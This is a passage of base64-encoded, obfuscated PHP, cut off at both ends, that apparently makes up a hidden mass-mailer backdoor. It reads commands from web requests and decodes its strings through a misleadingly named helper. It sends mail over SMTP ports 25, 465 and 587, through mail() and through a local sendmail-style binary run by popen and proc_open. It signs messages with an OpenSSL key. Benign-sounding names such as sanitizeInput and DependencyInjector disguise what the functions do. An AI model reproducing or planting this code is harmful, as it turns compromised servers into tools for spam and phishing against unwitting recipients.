fc290KTsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIEBmY2xvc2UoJF9zb3QpOwogICAgICAgICAgICAgICAgZWNobyBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3doJywgJ19jem8nKSAuICR0aGlzLT5fdWFvOwogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRfenFyID09PSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2lvcCcsICdfZWFuJykpIHsKICAgICAgICAgICAgICAgICRfY2t6ID0gJF9hayAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfYWFhJywgJ191amcnKSAuICRfZG0gLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3V6JywgJ192aW0nKTsKICAgICAgICAgICAgICAgICRfZ2l4ID0gJHRoaXMtPmNoZWNrQ29uc2lzdGVuY3koJF9haywgJF9kbSwgJF90ZCwgJF9jcCwgJF96dmkpOwogICAgICAgICAgICAgICAgaWYgKCRfZ2l4ICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICRfY2t6ID0gJF9naXggLiAkdGhpcy0+X3VhbyAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfd3dzJywgJ19tbXMnKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfdXUgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3V5cycsICdfZWMnKV0sICRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2h5JywgJ19tYXYnKV0pKSB7CiAgICAgICAgICAgICAgICAgICAgJF9jZXIgPSAkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19uc3MnLCAnX3p1cCcpXTsKICAgICAgICAgICAgICAgICAgICAkX25wZiA9IChpbnQpICRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX29oaCcsICdfeXYnKV07CiAgICAgICAgICAgICAgICAgICAgJF93cSA9IG51bGw7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRfbnBmID09IDA3MjEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF93cSA9IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcWcnLCAnX2pqcScpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkX3V1W10gPSBhcnJheShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3FoYicsICdfemQnKSA9PiAkX2NlciwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19qcHcnLCAnX2x6JykgPT4gJF9ucGYsIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcWZpJywgJ19tcWUnKSA9PiAkX3dxKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJF9qayA9ICR0aGlzLT5oYW5kbGVSZXF1ZXN0KCRfenZpKTsKICAgICAgICAgICAgICAgICAgICAkX3V1W10gPSBhcnJheShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3lyJywgJ19teHAnKSA9PiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2hheicsICdfbHUnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ190YicsICdfZWt2JykgPT4gMDMxLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2pveScsICdfZHonKSA9PiBudWxsKTsKICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfamspKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfdXVbXSA9IGFycmF5KERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaHInLCAnX2hkeCcpID0+ICRfamtbMDBdLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3lkYicsICdfbnRmJykgPT4gMDMxLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3hwJywgJ19pdScpID0+IG51bGwpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkX3V1W10gPSBhcnJheShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2hnJywgJ196Y3onKSA9PiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2dzdCcsICdfdHonKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19lc2wnLCAnX2xtaycpID0+IDA3MjEsIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfc2xmJywgJ19wZicpID0+IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfeWZvJywgJ19keCcpKTsKICAgICAgICAgICAgICAgICAgICAkX3V1W10gPSBhcnJheShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2N3JywgJ19zcScpID0+IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZWInLCAnX2loJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfYnEnLCAnX25ieCcpID0+IDAxMTEzLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3V3JywgJ19hY2UnKSA9PiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2FlcycsICdfZXgnKSk7CiAgICAgICAgICAgICAgICAgICAgJF91dVtdID0gYXJyYXkoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ193dycsICdfenZuJykgPT4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19wd2EnLCAnX2t2JykgLiAkX3p2aSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ191dmUnLCAnX2lkJykgPT4gMDMxLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3RneCcsICdfdmonKSA9PiBudWxsKTsKICAgICAgICAgICAgICAgICAgICAkX3V1W10gPSBhcnJheShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3ZvJywgJ191YncnKSA9PiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2FlYycsICdfdnEnKSAuICRfenZpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3RzdScsICdfdGh3JykgPT4gMDMxLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2lqcycsICdfZXknKSA9PiBudWxsKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfdXUgYXMgJF9pd20pIHsKICAgICAgICAgICAgICAgICAgICAkX3NvdCA9ICR0aGlzLT50cmFja0FjdGl2aXR5KCRfaXdtW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfeGtmJywgJ190ZnonKV0sICRfaXdtW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfd2snLCAnX21lJyldLCAkX2l3bVtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2ppJywgJ19yZWMnKV0sICRfaXdtW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdHFhJywgJ19jdngnKV0gPT0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19oYmMnLCAnX21vYScpID8gMDMgOiAwNSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkX3NvdCkgewogICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+bWFuYWdlU3RhdGUoJF9zb3QsICRfdGQsICRfY3AsICRfY2t6LCAkX3p2aSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkX3NvdCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRfc290KTsKICAgICAgICAgICAgICAgICAgICBlY2hvIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcHZ6JywgJ19seGgnKSAuICR0aGlzLT5fdWFvIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19hdWcnLCAnX2V1JykgLiAkX2l3bVtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3JpYScsICdfaHBuJyldIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19scWgnLCAnX215JykgLiAkX2l3bVtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2RkYicsICdfcG16JyldIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19kbmgnLCAnX3VzaCcpIC4gJHRoaXMtPl91YW87CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRfenFyID09PSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3FhYScsICdfdXgnKSkgewogICAgICAgICAgICAgICAgJF9nYSA9IGZhbHNlOwogICAgICAgICAgICAgICAgJF9hdnogPSB0cnVlOwogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX29zdicsICdfdW4nKV0pKSB7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXkoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ193cmgnLCAnX2p1dCcpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX21oJywgJ19qcicpKSBhcyAkX2V6cyA9PiAkX2NlcikgewogICAgICAgICAgICAgICAgICAgICAgICAkX2prID0gJHRoaXMtPmhhbmRsZVJlcXVlc3QoJF9jZXIpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJF9qaykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCAoJF9lenMpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgMDA6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9zb3QgPSAkdGhpcy0+dHJhY2tBY3Rpdml0eSgkX2prWzAwXSwgMDMxLCBudWxsLCAwMiwgdHJ1ZSwgZmFsc2UpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAwMToKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2F2eiA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfc290ID0gJHRoaXMtPnRyYWNrQWN0aXZpdHkoJF9qa1swMF0sIDAzMSwgbnVsbCwgMDIsIGZhbHNlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRfc290KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRfc290KTsKICAgICAgICAgICAgICAgICAgICAgICAgJF9nYSA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICghJF9nYSkgewogICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX3VjID0gJHRoaXMtPmZpbHRlclJlc3VsdHMoJF90ZCwgJF9jcCwgJF96dmkpOwogICAgICAgICAgICAgICAgJF9ja3ogPSAkX3VjIC4gJF9hayAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfYWlhJywgJ19jb3onKSAuICRfZG0gLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2dtJywgJ19ibmwnKTsKICAgICAgICAgICAgICAgICRfZ2l4ID0gJHRoaXMtPmNoZWNrQ29uc2lzdGVuY3koJF9haywgJF9kbSwgJF90ZCwgJF9jcCwgJF96dmksIHRydWUsICRfdWMpOwogICAgICAgICAgICAgICAgaWYgKCRfZ2l4ICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICRfY2t6ID0gJF9naXggLiAkdGhpcy0+X3VhbyAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcnh3JywgJ196eW4nKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfb2VtID0gc3RhcnRfc2VydmljZShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2RsdScsICdfbWl0JyksICRfY3ApOwogICAgICAgICAgICAgICAgaWYgKGFnZ3JlZ2F0ZV9yZXN1bHRzKCRfb2VtKSA9PSAwMikgewogICAgICAgICAgICAgICAgICAgICRfdWdiID0gaW5pdF9zeXN0ZW0ocnVuX3Byb2NlZHVyZSgkX29lbVswMV0pKTsKICAgICAgICAgICAgICAgICAgICAkX3VnYiA9IGRndyhEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2tnJywgJ19jemwnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19jeicsICdfYWhrJyksICRfdWdiKTsKICAgICAgICAgICAgICAgICAgICAkX3JuID0gJHRoaXMtPmhhbmRsZVJlcXVlc3QoJF91Z2IpOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfcm4gYXMgJF9vbikgewogICAgICAgICAgICAgICAgICAgICAgICAkX3NvdCA9ICR0aGlzLT50cmFja0FjdGl2aXR5KCRfb24sIDAzMSwgbnVsbCwgMDEyLCAkX2F2eik7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJF9zb3QpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPm1hbmFnZVN0YXRlKCRfc290LCAkX3RkLCAkX2NwLCAkX2NreiwgJF96dmkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRfc290KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJF9zb3QpOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdXVsJywgJ19ucCcpIC4gJHRoaXMtPl91YW87CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJF96cXIgPT09IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZGZxJywgJ19qZicpKSB7CiAgICAgICAgICAgICAgICBpZiAoQG1haWwoJF9jcCwgJF91ZCwgJF9kbSwgJF9peGgpKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3BsZCcsICdfdGsnKSAuICR0aGlzLT5fdWFvOwogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzc2V0KCRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2xlZycsICdfc2VrJyldKSkgewogICAgICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnNhbml0aXplSW5wdXQoJF9haywgJF9kbSwgJF90ZCwgJF9jcCwgJF96dmkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWNobyBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2h5ZicsICdfeGknKSAuICR0aGlzLT5fdWFvOwogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gc2FuaXRpemVJbnB1dCgkX2l4aCwgJF9kbSwgJF90ZCwgJF9jcCwgJF96dmksICRfcHggPSAiZGVmYXVsdCIpCiAgICB7CiAgICAgICAgJF9sY24gPSBhcnJheShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3V1ZicsICdfZ25zJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZGttJywgJ19waScpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3RnbCcsICdfcmEnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19hdCcsICdfcnN2JyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZXMnLCAnX216JykpOwogICAgICAgICRfaHdjID0gbnVsbDsKICAgICAgICBmb3JlYWNoICgkX2xjbiBhcyAkX2hlcCkgewogICAgICAgICAgICBpZiAoQGZpbGVfZXhpc3RzKCRfaGVwKSAmJiBAaXNfZXhlY3V0YWJsZSgkX2hlcCkpIHsKICAgICAgICAgICAgICAgICRfaHdjID0gJF9oZXA7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoISRfaHdjKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJF94cCA9IGVzY2FwZXNoZWxsY21kKCRfaHdjKSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcmxiJywgJ190aicpIC4gZXNjYXBlc2hlbGxhcmcoJF90ZCk7CiAgICAgICAgJF94cXUgPSBlc2NhcGVzaGVsbGNtZCgkX2h3YykgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX21hJywgJ19pcCcpIC4gZXNjYXBlc2hlbGxhcmcoJF90ZCk7CiAgICAgICAgJF95aHMgPSBAaW5pX2dldChEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2x0dycsICdfcm5hJykpOwogICAgICAgICRfeGkgPSBmdW5jdGlvbl9leGlzdHMoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19scHInLCAnX2t4JykpICYmIEBzdHJpcG9zKCRfeWhzLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3Z0JywgJ19pcmEnKSkgPT09IGZhbHNlOwogICAgICAgICRfdmpkID0gZnVuY3Rpb25fZXhpc3RzKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfYnNyJywgJ19hYicpKSAmJiBAc3RyaXBvcygkX3locywgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ195dHgnLCAnX3d1JykpID09PSBmYWxzZTsKICAgICAgICAkX2NreiA9ICRfaXhoIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19rcHMnLCAnX2VhJykgLiAkX2RtOwogICAgICAgICRfd2kgPSAkdGhpcy0+ZW5jcnlwdERhdGEoJF94cCwgJF9ja3osICRfeGksICRfdmpkKTsKICAgICAgICBpZiAoJF93aSA9PT0gMDApIHsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgICRfZ2l4ID0gJHRoaXMtPnJlc29sdmVBY3Rpb24oJF9peGgsICRfZG0sICRfdGQsICRfY3AsICRfenZpLCAkX3B4KTsKICAgICAgICBpZiAoJF9naXggIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRfZHAgPSAkX2dpeDsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkX2RwID0gJF9ja3o7CiAgICAgICAgfQogICAgICAgICRfbGsgPSAkdGhpcy0+ZW5jcnlwdERhdGEoJF94cXUsICRfZHAsICRfeGksICRfdmpkKTsKICAgICAgICBpZiAoJF9sayAhPT0gMDApIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gZW5jcnlwdERhdGEoJF9zZSwgJF9jb2wsICRfeGksICRfdmpkKQogICAgewogICAgICAgIGlmICgkX3hpKSB7CiAgICAgICAgICAgICRfemIgPSBAcG9wZW4oJF9zZSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19qa2UnLCAnX3p1JykpOwogICAgICAgICAgICBpZiAoISRfemIpIHsKICAgICAgICAgICAgICAgIHJldHVybiAwMTsKICAgICAgICAgICAgfQogICAgICAgICAgICBAZnB1dHMoJF96YiwgJF9jb2wgLiAkdGhpcy0+X3Vhbyk7CiAgICAgICAgICAgICRfb3R2ID0gQHBjbG9zZSgkX3piKTsKICAgICAgICAgICAgcmV0dXJuICRfb3R2OwogICAgICAgIH0gZWxzZWlmICgkX3ZqZCkgewogICAgICAgICAgICAkX253ID0gYXJyYXkoMDAgPT4gYXJyYXkoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19hbScsICdfbGduJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcWdlJywgJ19oZG0nKSksIDAxID0+IGFycmF5KERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfb2RoJywgJ19qcScpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3NkbicsICdfenZxJykpLCAwMiA9PiBhcnJheShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2dkdicsICdfaWInKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19ycicsICdfdXlpJykpKTsKICAgICAgICAgICAgJF9heCA9IEBwcm9jX29wZW4oJF9zZSwgJF9udywgJF96ZCk7CiAgICAgICAgICAgIGlmICghdHJjKCRfYXgpKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gMDE7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQGZwdXRzKCRfemRbMDBdLCAkX2NvbCAuICR0aGlzLT5fdWFvKTsKICAgICAgICAgICAgQGZjbG9zZSgkX3pkWzAwXSk7CiAgICAgICAgICAgIEBmY2xvc2UoJF96ZFswMV0pOwogICAgICAgICAgICBAZmNsb3NlKCRfemRbMDJdKTsKICAgICAgICAgICAgJF9vdHYgPSBAcHJvY19jbG9zZSgkX2F4KTsKICAgICAgICAgICAgcmV0dXJuICRfb3R2OwogICAgICAgIH0KICAgICAgICByZXR1cm4gMDE7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIGNoZWNrQ29uc2lzdGVuY3koJF9peGgsICRfZG0sICRfdGl6LCAkX2NwLCAkX3p2aSwgJF9qYiA9IHRydWUsICRfcGlpID0gIiIpCiAgICB7CiAgICAgICAgJF9lciA9ICR0aGlzLT5yZXNvbHZlQWN0aW9uKCRfaXhoLCAkX2RtLCAkX3RpeiwgJF9jcCwgJF96dmkpOwogICAgICAgIGlmICgkX2VyID09PSBmYWxzZSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmICgkX2piKSB7CiAgICAgICAgICAgIHJldHVybiAkX3BpaSAuICRfZXI7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkX2VyOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiByZXNvbHZlQWN0aW9uKCRfaXhoLCAkX2RtLCAkX3RpeiwgJF9jcCwgJF96dmksICRfcHggPSAiZGVmYXVsdCIpCiAgICB7CiAgICAgICAgJF9yaCA9ICR0aGlzLT5yZXNldFN0YXRlKCRfenZpLCAkX3B4KTsKICAgICAgICBpZiAoJF9yaCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICAkX3hzZyA9IHB5cigpOwogICAgICAgIGxpc3QoJF9rbGMsICRfb3N3KSA9ICR0aGlzLT5yZXNvbHZlQ29uZmxpY3QoJF9peGgsICRfdGl6LCAkX2NwLCAkX3p2aSk7CiAgICAgICAgaWYgKCRfb3N3ID09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJF9xYWQgPSAkdGhpcy0+bG9nRXZlbnQoJF9kbSk7CiAgICAgICAgJF9laiA9IGRlY29kZV9pbnB1dChoYXNoKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdWsnLCAnX3FscCcpLCAkX3FhZCwgdHJ1ZSkpOwogICAgICAgICRfcnBwID0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19tZnQnLCAnX3Z4eCcpIC4gJF9weCAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaGQnLCAnX3NpdScpIC4gJF96dmkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2RoJywgJ19rcicpIC4gJF94c2cgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2ZuJywgJ190bGgnKSAuICRfb3N3IC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19laHEnLCAnX2NqcicpIC4gJF9laiAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcGsnLCAnX3VobScpOwogICAgICAgICRfZXVyID0gJHRoaXMtPmluaXRpYWxpemVNb2R1bGUoJF9peGgsICRfcnBwKTsKICAgICAgICBsaXN0KCRfeHksICRfa2xjKSA9ICR0aGlzLT5yZXNvbHZlQ29uZmxpY3QoJF9ldXIsICRfdGl6LCAkX2NwLCAkX3p2aSwgZmFsc2UpOwogICAgICAgIGlmICgkX3h5ID09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJF90enIgPSBAb3BlbnNzbF9nZXRfcHJpdmF0ZWtleSgkX3JoKTsKICAgICAgICBpZiAoISRfdHpyKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJF9pbGogPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2hlJywgJ191bGknKTsKICAgICAgICAkX3BvYiA9IGt5bihEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2NwaicsICdfanknKSkgPyBPUEVOU1NMX0FMR09fU0hBMjU2IDogMDY7CiAgICAgICAgaWYgKCFAb3BlbnNzbF9zaWduKCRfeHksICRfaWxqLCAkX3R6ciwgJF9wb2IpKSB7CiAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTl9JRCA8IDAyMzQyMDApIHsKICAgICAgICAgICAgICAgIEBvcGVuc3NsX2ZyZWVfa2V5KCRfdHpyKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmF